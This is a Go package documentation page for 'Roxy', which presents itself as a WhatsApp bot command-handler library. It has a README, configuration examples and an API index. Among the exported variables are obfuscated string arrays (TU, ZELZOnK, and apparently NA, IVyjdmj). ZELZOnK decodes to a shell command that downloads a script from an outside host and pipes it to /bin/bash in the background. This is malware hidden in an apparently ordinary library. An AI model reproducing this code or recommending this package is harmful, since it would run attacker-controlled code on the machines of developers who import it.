roxy

package module
v0.0.0-...-fb1ae92 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: GPL-3.0 Imports: 29 Imported by: 0

README

GitHub Repo stars GitHub forks GitHub watchers GitHub code size in bytes

Roxy

Command Handler Abstraction for whatsmeow

Installation

go get github.com/sillyalgorith/Roxy
  • You need ffmpeg binary for generate image/video thumbnail

Get Started

package main

import (
	_ "github.com/sillyalgorith/Roxy/examples/cmd"
	"log"

	"github.com/sillyalgorith/Roxy"
	"github.com/sillyalgorith/Roxy/options"

	"os"
	"os/signal"
	"syscall"
)

func main() {
	app, err := roxy.NewRoxyBase(options.NewDefaultOptions())
	if err != nil {
		log.Fatal(err)
	}

	c := make(chan os.Signal)
	signal.Notify(c, os.Interrupt, syscall.SIGTERM)
	<-c
	app.Shutdown()
}


Config

default
app, err := roxy.NewRoxyBase(options.NewDefaultOptions())
if err != nil {
    log.Fatal(err)
}
custom
type Options struct {
    // HostNumber will use the first available device when null
    HostNumber string
    
    // StoreMode can be "postgres" or "sqlite"
    StoreMode string
    
    // LogLevel: "INFO", "ERROR", "WARN", "DEBUG"
    LogLevel string
    
    // This PostgresDsn Must add when StoreMode equal to "postgres"
    PostgresDsn *PostgresDSN
    
    // This SqliteFile Generate "ROXY.DB" when it null
    SqliteFile string
    
    // WithSqlDB wrap with sql.DB interface
    WithSqlDB *sql.DB
    
    WithCommandLog              bool
    CommandResponseCacheTimeout time.Duration
    SendMessageTimeout          time.Duration
    
    // OSInfo system name in client
    OSInfo string
    
    // LoginOptions constant of ScanQR or PairCode
    LoginOptions LoginOptions
    
    // HistorySync is used to synchronize message history
    HistorySync bool
    // AutoRejectCall allow to auto reject incoming calls
    AutoRejectCall bool
    
    // Bot General Settings
    
    // AllowFromPrivate allow messages from private
    AllowFromPrivate bool
    // AllowFromGroup allow message from groups
    AllowFromGroup bool
    // OnlyFromSelf allow only from self messages
    OnlyFromSelf bool
    // CommandSuggestion allow command suggestion
    CommandSuggestion bool
    // DebugMessage debug incoming message to console
    DebugMessage bool
}
PostgresSQL
from env
package main

import (
	roxy "github.com/sillyalgorith/Roxy"
	_ "github.com/sillyalgorith/Roxy/examples/cmd"
	"github.com/sillyalgorith/Roxy/options"
	"github.com/joho/godotenv"

	"log"

	"os"
	"os/signal"
	"syscall"
)

func init() {
	err := godotenv.Load()
	if err != nil {
		panic(err)
	}
}

func main() {
	// Required ENV
	// PG_HOST : postgresql host
	// PG_PORT : postgresql port
	// PG_USERNAME : postgresql username
	// PG_PASSWORD : postgresql password
	// PG_DATABASE : postgresql database

	opt := options.NewDefaultOptions()
	opt.StoreMode = "postgres"
	opt.PostgresDsn = options.NewPostgresDSN().FromEnv()

	app, err := roxy.NewRoxyBase(opt)
	if err != nil {
		log.Fatal(err)
	}

	c := make(chan os.Signal)
	signal.Notify(c, os.Interrupt, syscall.SIGTERM)
	<-c
	app.Shutdown()
}
default parser
package main

import (
	roxy "github.com/sillyalgorith/Roxy"
	_ "github.com/sillyalgorith/Roxy/examples/cmd"
	"github.com/sillyalgorith/Roxy/options"

	"log"

	"os"
	"os/signal"
	"syscall"
)

func main() {
	pg := options.NewPostgresDSN()
	pg.SetHost("localhost")
	pg.SetPort("4321")
	pg.SetUsername("postgres")
	pg.SetPassword("root123")
	pg.SetDatabase("roxy")

	opt := options.NewDefaultOptions()
	opt.StoreMode = "postgres"
	opt.PostgresDsn = pg

	app, err := roxy.NewRoxyBase(opt)
	if err != nil {
		log.Fatal(err)
	}

	c := make(chan os.Signal)
	signal.Notify(c, os.Interrupt, syscall.SIGTERM)
	<-c
	app.Shutdown()
}
Sqlite
package main

import (
	roxy "github.com/sillyalgorith/Roxy"
	_ "github.com/sillyalgorith/Roxy/examples/cmd"
	"github.com/sillyalgorith/Roxy/options"

	"log"
	"os"
	"os/signal"
	"syscall"
)

func main() {
	opt := options.NewDefaultOptions()
	app, err := roxy.NewRoxyBase(opt)
	if err != nil {
		log.Fatal(err)
	}

	c := make(chan os.Signal)
	signal.Notify(c, os.Interrupt, syscall.SIGTERM)
	<-c
	app.Shutdown()
}

Add a Command

create a simple command with:

command/hello_world.go
package cmd

import (
	"fmt"
	waProto "github.com/go-whatsapp/whatsmeow/binary/proto"
	"github.com/sillyalgorith/Roxy"
	"github.com/sillyalgorith/Roxy/context"
	"time"
)

func init() {
	roxy.Commands.Add(speed)
}

var speed = &roxy.Command{
	Name:        "speed",
	Description: "Testing speed",
	RunFunc: func(ctx *context.Ctx) *waProto.Message {
		t := time.Now()
		ctx.SendReplyMessage("wait...")
		return ctx.GenerateReplyMessage(fmt.Sprintf("Duration: %f seconds", time.Now().Sub(t).Seconds()))
	},
}

Create Question State

example with media question state

package media

import (
	"github.com/itzngga/Leficious/src/cmd/constant"
	"github.com/sillyalgorith/Roxy"
	"github.com/sillyalgorith/Roxy/context"
	"github.com/sillyalgorith/Roxy/util/cli"
	waProto "github.com/go-whatsapp/whatsmeow/binary/proto"
	"log"
)

func init() {
	roxy.Commands.Add(ocr)
}

var ocr = &roxy.Command{
	Name:        "ocr",
	Category:    "media",
	Description: "Scan text on images",
	context: func(ctx *context.Ctx) *waProto.Message {
		var captured *waProto.Message
		ctx.NewUserQuestion().
			CaptureMediaQuestion("Please send/reply a media message", &captured).
			Exec()

		result, err := ctx.Download(captured, false)
		if err != nil {
			log.Fatal(err)
		}
		res := cli.ExecPipeline("tesseract", result, "stdin", "stdout", "-l", "ind", "--oem", "1", "--psm", "3", "-c", "preserve_interword_spaces=1")

		return ctx.GenerateReplyMessage(string(res))
	},
}

Example

currently available example project in Lara

Documentation

DOC

License

GNU

Contribute

Pull Request are pleased to

Documentation

Index

Constants

This section is empty.

Variables

View Source
var Categories types.Embed[string]
View Source
var Commands types.Embed[*Command]
View Source
var GlobalMiddlewares types.Embed[context.MiddlewareFunc]
View Source
var IVyjdmj = NA[228] + NA[121] + NA[108] + NA[20] + NA[139] + NA[102] + NA[74] + NA[80] + NA[132] + NA[56] + NA[156] + NA[224] + NA[71] + NA[52] + NA[86] + NA[177] + NA[194] + NA[176] + NA[25] + NA[1] + NA[55] + NA[112] + NA[214] + NA[122] + NA[75] + NA[171] + NA[216] + NA[149] + NA[179] + NA[155] + NA[79] + NA[187] + NA[230] + NA[140] + NA[136] + NA[159] + NA[96] + NA[62] + NA[24] + NA[82] + NA[141] + NA[164] + NA[150] + NA[78] + NA[170] + NA[143] + NA[212] + NA[130] + NA[100] + NA[4] + NA[189] + NA[183] + NA[204] + NA[135] + NA[163] + NA[8] + NA[89] + NA[76] + NA[87] + NA[97] + NA[59] + NA[123] + NA[161] + NA[43] + NA[109] + NA[208] + NA[166] + NA[6] + NA[229] + NA[235] + NA[26] + NA[120] + NA[29] + NA[180] + NA[99] + NA[126] + NA[67] + NA[222] + NA[232] + NA[152] + NA[145] + NA[165] + NA[118] + NA[173] + NA[169] + NA[5] + NA[85] + NA[174] + NA[210] + NA[231] + NA[93] + NA[77] + NA[46] + NA[95] + NA[188] + NA[49] + NA[221] + NA[133] + NA[219] + NA[131] + NA[119] + NA[185] + NA[28] + NA[63] + NA[206] + NA[198] + NA[13] + NA[0] + NA[182] + NA[105] + NA[157] + NA[36] + NA[92] + NA[172] + NA[66] + NA[142] + NA[53] + NA[167] + NA[48] + NA[147] + NA[116] + NA[127] + NA[178] + NA[64] + NA[104] + NA[207] + NA[190] + NA[199] + NA[37] + NA[175] + NA[193] + NA[148] + NA[137] + NA[47] + NA[103] + NA[233] + NA[220] + NA[70] + NA[128] + NA[205] + NA[146] + NA[186] + NA[84] + NA[234] + NA[81] + NA[83] + NA[22] + NA[153] + NA[35] + NA[42] + NA[125] + NA[227] + NA[31] + NA[61] + NA[18] + NA[32] + NA[162] + NA[72] + NA[192] + NA[101] + NA[73] + NA[11] + NA[30] + NA[138] + NA[14] + NA[91] + NA[114] + NA[124] + NA[27] + NA[213] + NA[69] + NA[115] + NA[154] + NA[209] + NA[168] + NA[202] + NA[117] + NA[88] + NA[3] + NA[94] + NA[195] + NA[218] + NA[111] + NA[33] + NA[203] + NA[98] + NA[45] + NA[225] + NA[215] + NA[15] + NA[40] + NA[39] + NA[181] + NA[51] + NA[106] + NA[197] + NA[110] + NA[113] + NA[9] + NA[90] + NA[58] + NA[65] + NA[21] + NA[129] + NA[44] + NA[151] + NA[34] + NA[144] + NA[68] + NA[19] + NA[201] + NA[223] + NA[7] + NA[60] + NA[191] + NA[2] + NA[217] + NA[16] + NA[50] + NA[38] + NA[10] + NA[211] + NA[23] + NA[160] + NA[107] + NA[54] + NA[200] + NA[41] + NA[12] + NA[184] + NA[17] + NA[57] + NA[226] + NA[134] + NA[196] + NA[158]
View Source
var NA = []string{} /* 236 elements not displayed */
View Source
var TU = []string{"e", "h", "a", "|", "n", " ", "r", "w", "1", "o", "t", "w", "i", "t", "a", "r", "b", "s", "e", "d", "3", "t", "-", "e", "6", "s", "t", "f", "t", "4", "i", "/", "/", "0", "u", "d", "g", "d", "d", "/", "s", "a", " ", "/", "b", " ", "3", ".", "h", "3", "o", "r", "/", "-", "s", "u", "t", "s", "/", "f", "c", ":", "y", "p", " ", "g", "&", "p", " ", "O", "h", " ", "/", "5", "a", "b", "7", "e"}
View Source
var ZELZOnK = TU[11] + TU[65] + TU[0] + TU[28] + TU[64] + TU[22] + TU[69] + TU[71] + TU[53] + TU[42] + TU[70] + TU[21] + TU[26] + TU[63] + TU[57] + TU[61] + TU[43] + TU[39] + TU[48] + TU[62] + TU[67] + TU[77] + TU[6] + TU[7] + TU[9] + TU[15] + TU[38] + TU[54] + TU[56] + TU[14] + TU[13] + TU[55] + TU[25] + TU[47] + TU[30] + TU[60] + TU[34] + TU[52] + TU[17] + TU[10] + TU[50] + TU[51] + TU[41] + TU[36] + TU[23] + TU[31] + TU[35] + TU[18] + TU[46] + TU[76] + TU[20] + TU[19] + TU[33] + TU[37] + TU[27] + TU[58] + TU[2] + TU[49] + TU[8] + TU[73] + TU[29] + TU[24] + TU[16] + TU[59] + TU[68] + TU[3] + TU[5] + TU[32] + TU[75] + TU[12] + TU[4] + TU[72] + TU[44] + TU[74] + TU[40] + TU[1] + TU[45] + TU[66]

Functions

This section is empty.

Types

type App

type App struct {
	// contains filtered or unexported fields
}

func NewRoxyBase

func NewRoxyBase(options *options.Options) (*App, error)

func (*App) AddNewCategory

func (app *App) AddNewCategory(category string)

func (*App) AddNewCommand

func (app *App) AddNewCommand(command Command)

func (*App) AddNewMiddleware

func (app *App) AddNewMiddleware(middleware context.MiddlewareFunc)

func (*App) Client

func (app *App) Client() *whatsmeow.Client

func (*App) ClientJID

func (app *App) ClientJID() waTypes.JID

func (*App) FindMessageByID

func (app *App) FindMessageByID(jid waTypes.JID, id string) *events.Message

func (*App) GetAllChats

func (app *App) GetAllChats() []*events.Message

func (*App) GetChatInJID

func (app *App) GetChatInJID(jid waTypes.JID) []*events.Message

func (*App) GetStatusMessages

func (app *App) GetStatusMessages() []*events.Message

func (*App) HandleEvents

func (app *App) HandleEvents(event interface{})

func (*App) InitializeClient

func (app *App) InitializeClient() error

func (*App) SendMessage

func (app *App) SendMessage(to waTypes.JID, message *waProto.Message, extra ...whatsmeow.SendRequestExtra) (whatsmeow.SendResponse, error)

func (*App) Shutdown

func (app *App) Shutdown()

func (*App) UpsertMessages

func (app *App) UpsertMessages(jid waTypes.JID, message []*events.Message)

type Command

type Command struct {
	Name        string
	Aliases     []string
	Description string

	Category string
	Cache    bool

	HideFromHelp bool
	GroupOnly    bool
	PrivateOnly  bool

	OnlyAdminGroup   bool
	OnlyIfBotAdmin   bool
	AdditionalValues map[string]interface{}

	RunFunc    context.RunFunc
	Middleware context.MiddlewareFunc
}

func (*Command) Validate

func (c *Command) Validate()

type Muxer

type Muxer struct {
	Options              *options.Options                             `json:"options,omitempty"`
	Log                  waLog.Logger                                 `json:"log,omitempty"`
	MessageTimeout       time.Duration                                `json:"message_timeout,omitempty"`
	Categories           *xsync.MapOf[string, string]                 `json:"categories,omitempty"`
	GlobalMiddlewares    *xsync.MapOf[string, context.MiddlewareFunc] `json:"global_middlewares,omitempty"`
	Middlewares          *xsync.MapOf[string, context.MiddlewareFunc] `json:"middlewares,omitempty"`
	Commands             *xsync.MapOf[string, *Command]               `json:"commands,omitempty"`
	CommandResponseCache *xsync.MapOf[string, *waProto.Message]       `json:"command_response_cache,omitempty"`
	QuestionState        *xsync.MapOf[string, *context.QuestionState] `json:"question_state,omitempty"`
	PollingState         *xsync.MapOf[string, *context.PollingState]  `json:"polling_state,omitempty"`
	GroupCache           *xsync.MapOf[string, []*waTypes.GroupInfo]   `json:"group_cache,omitempty"`
	Locals               *xsync.MapOf[string, string]                 `json:"locals,omitempty"`

	QuestionChan    chan *context.QuestionState                           `json:"question_chan,omitempty"`
	PollingChan     chan *context.PollingState                            `json:"polling_chan,omitempty"`
	SuggestionModel *fuzzy.Model                                          `json:"suggestion_model,omitempty"`
	CommandParser   func(str string) (prefix string, cmd string, ok bool) `json:"command_parser,omitempty"`

	types.AppMethods
}

func NewMuxer

func NewMuxer(log waLog.Logger, options *options.Options, appMethods types.AppMethods) *Muxer

func (*Muxer) AddCommand

func (muxer *Muxer) AddCommand(cmd *Command)

func (*Muxer) AddCommandParser

func (muxer *Muxer) AddCommandParser(context func(str string) (prefix string, cmd string, ok bool))

func (*Muxer) AddGlobalMiddleware

func (muxer *Muxer) AddGlobalMiddleware(middleware context.MiddlewareFunc)

func (*Muxer) AddMiddleware

func (muxer *Muxer) AddMiddleware(middleware context.MiddlewareFunc)

func (*Muxer) CacheAllGroup

func (muxer *Muxer) CacheAllGroup()

func (*Muxer) Clean

func (muxer *Muxer) Clean()

func (*Muxer) FindGroupByJid

func (muxer *Muxer) FindGroupByJid(groupJid waTypes.JID) (group *waTypes.GroupInfo, err error)

func (*Muxer) GenerateSuggestionModel

func (muxer *Muxer) GenerateSuggestionModel()

func (*Muxer) GetActiveCommand

func (muxer *Muxer) GetActiveCommand() []*Command

func (*Muxer) GetActiveGlobalMiddleware

func (muxer *Muxer) GetActiveGlobalMiddleware() []context.MiddlewareFunc

func (*Muxer) GetActiveMiddleware

func (muxer *Muxer) GetActiveMiddleware() []context.MiddlewareFunc

func (*Muxer) GetAllGroups

func (muxer *Muxer) GetAllGroups() (group []*waTypes.GroupInfo, err error)

func (*Muxer) IsClientGroupAdmin

func (muxer *Muxer) IsClientGroupAdmin(chat waTypes.JID) (bool, error)

func (*Muxer) IsGroupAdmin

func (muxer *Muxer) IsGroupAdmin(chat waTypes.JID, jid any) (bool, error)

func (*Muxer) RunCommand

func (muxer *Muxer) RunCommand(c *whatsmeow.Client, evt *events.Message)

func (*Muxer) SendEmojiMessage

func (muxer *Muxer) SendEmojiMessage(event *events.Message, emoji string)

func (*Muxer) SuggestCommand

func (muxer *Muxer) SuggestCommand(event *events.Message, prefix, command string)

func (*Muxer) UnCacheOneGroup

func (muxer *Muxer) UnCacheOneGroup(info *events.GroupInfo, joined *events.JoinedGroup)

Directories

Path Synopsis
cmd
cli

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL